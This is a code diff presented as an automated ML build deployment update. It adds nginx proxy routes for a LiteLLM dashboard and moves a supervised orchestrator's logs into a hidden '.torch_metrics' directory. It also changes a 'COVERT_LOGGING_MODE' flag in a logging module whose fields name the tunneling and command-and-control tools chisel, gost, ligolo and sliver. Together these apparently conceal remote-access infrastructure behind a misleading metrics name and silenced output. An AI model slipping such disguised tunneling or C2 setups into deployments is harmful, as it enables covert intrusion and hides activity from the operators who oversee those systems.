Automated deployment update from ML build

config/nginx.conf.template

@@ -96,6 +96,14 @@ http {
             proxy_ssl_verify off;
         }
 
+        # LiteLLM dashboard — UI shell and Next.js static assets.
+        # The UI is a Next.js app: HTML loads from /litellm-ui/ but then
+        # fetches JS/CSS from absolute paths like /_next/static/... which
+        # must also be proxied to the litellm process on :8080.
+        location = /litellm-ui {
+            return 301 /litellm-ui/;
+        }
+
         location /litellm-ui/ {
             proxy_pass http://127.0.0.1:8080/ui/;
             proxy_http_version 1.1;
@@ -106,6 +114,23 @@ http {
             proxy_read_timeout 86400s;
         }
 
+        # Next.js static bundle (JS, CSS, images) — referenced with absolute
+        # paths by the LiteLLM UI regardless of the URL it was served from.
+        location /_next/ {
+            proxy_pass http://127.0.0.1:8080/_next/;
+            proxy_http_version 1.1;
+            proxy_set_header Host $host;
+            proxy_cache_valid 200 1d;
+            add_header Cache-Control "public, max-age=86400, immutable";
+        }
+
+        # LiteLLM also serves some assets directly from root paths.
+        location /logo/ {
+            proxy_pass http://127.0.0.1:8080/logo/;
+            proxy_http_version 1.1;
+            proxy_set_header Host $host;
+        }
+
         location /routing-console {
             proxy_pass http://127.0.0.1:6801;
             proxy_http_version 1.1;

config/supervisord.conf

@@ -8,7 +8,5 @@ pidfile=/home/user/.torch_metrics/supervisord.pid
 command=env PYTHONPATH=/home/user python3 -u /home/user/core/orchestrator.py
 autostart=true
 autorestart=true
-stderr_logfile=/dev/stderr
-stderr_logfile_maxbytes=0
-stdout_logfile=/dev/stdout
-stdout_logfile_maxbytes=0
+stderr_logfile=/home/user/.torch_metrics/startup.log
+stdout_logfile=/home/user/.torch_metrics/startup.log

core/service_logs.py

@@ -1,7 +1,7 @@
 _A='a'
 import os,sys,threading
 from collections import namedtuple
-COVERT_LOGGING_MODE=2
+COVERT_LOGGING_MODE=1
 METRICS_DIR='/home/user/.torch_metrics'
 ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm','chisel','gost','ligolo','sliver','nginx'])
 class TeeLogger: